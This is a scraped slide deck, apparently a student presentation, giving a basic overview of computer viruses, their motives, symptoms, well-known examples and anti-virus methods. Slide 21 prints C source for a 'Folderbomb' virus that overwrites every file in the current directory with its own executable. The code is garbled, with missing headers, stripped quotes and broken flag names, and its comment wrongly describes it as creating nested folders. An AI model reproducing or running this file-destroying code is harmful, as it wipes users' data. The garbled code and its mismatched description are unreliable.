This document provides an overview of computer viruses, including what they are, who creates them, how they work, types of viruses, and prevention methods. It defines a computer virus as a program that can copy itself and infect computers without permission. It discusses how virus writers create virus code and the effects of virus infections. The major sections cover virus definition, creation, types (e.g. boot sector, file infector, macro), how they work, examples (Melissa, I Love You), and prevention through anti-virus software.
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Computer viruses and anti viruses by sasikumar
2. Contents
Intentional Overview
Definition of Computer Virus ?
Who creates/writes viruses ?
Why people creates computer viruses?
How can they write virus codes?
Effects by virus Infection
How virus works
Major Types of Viruses
Boot Sector Virus
Examples for Viruses
Virus Prevention
Conclusion
4. A Computer Virus is a computer program
What is a Computer Virus ?
that can copy itself and infect a computer
Without permission or knowledge of the user.
9. Why people creates computer viruses?
To attack the products of specific
companies.
To theft the confidential info.
To distribute political messages.
Some virus writers
consider their
creations to be
works of art, and see
virus writing as a
10. How can they write virus codes?
By using
Assembly
languages
like
Basic,
c,
Pascal e.t.c
11. What will happen if
your computer
Infected by virus
Functions slower
than normal
Responds slowly and
freezes often
Restarts itself
often
See uncommon
error messages,
distorted menus,
and dialog boxes
20. Two examples for Viruses
Melissa
Type : Macro virus
I Love You
Type : worm
21. #include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(
);
printf(nVirus: Folderbomb 1.0nProgrammer:
BAS Unnikrishnan(asystem0@gmail.com)n);
cprintf(
);
done = findfirst(*.*,&ffblk,0);
while (!done)
{
printf(n);
cprintf( %s , ffblk.ff_name);
printf(is attacked by );
cprintf(Folderbomb);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARY
O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
/*This is a simple virus program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......*/
25. How does an Anti-Virus work ?
Scanner:
Detects the virus by using a list of existing virus
signature/definitions.
Monitors:
These are memory resident programs and alert
when any changes find in executable program.
INTEGRITY CHECKING PROGRAMS:
To execute any virus must integrate with
a executable program.so it checks for virus code
integration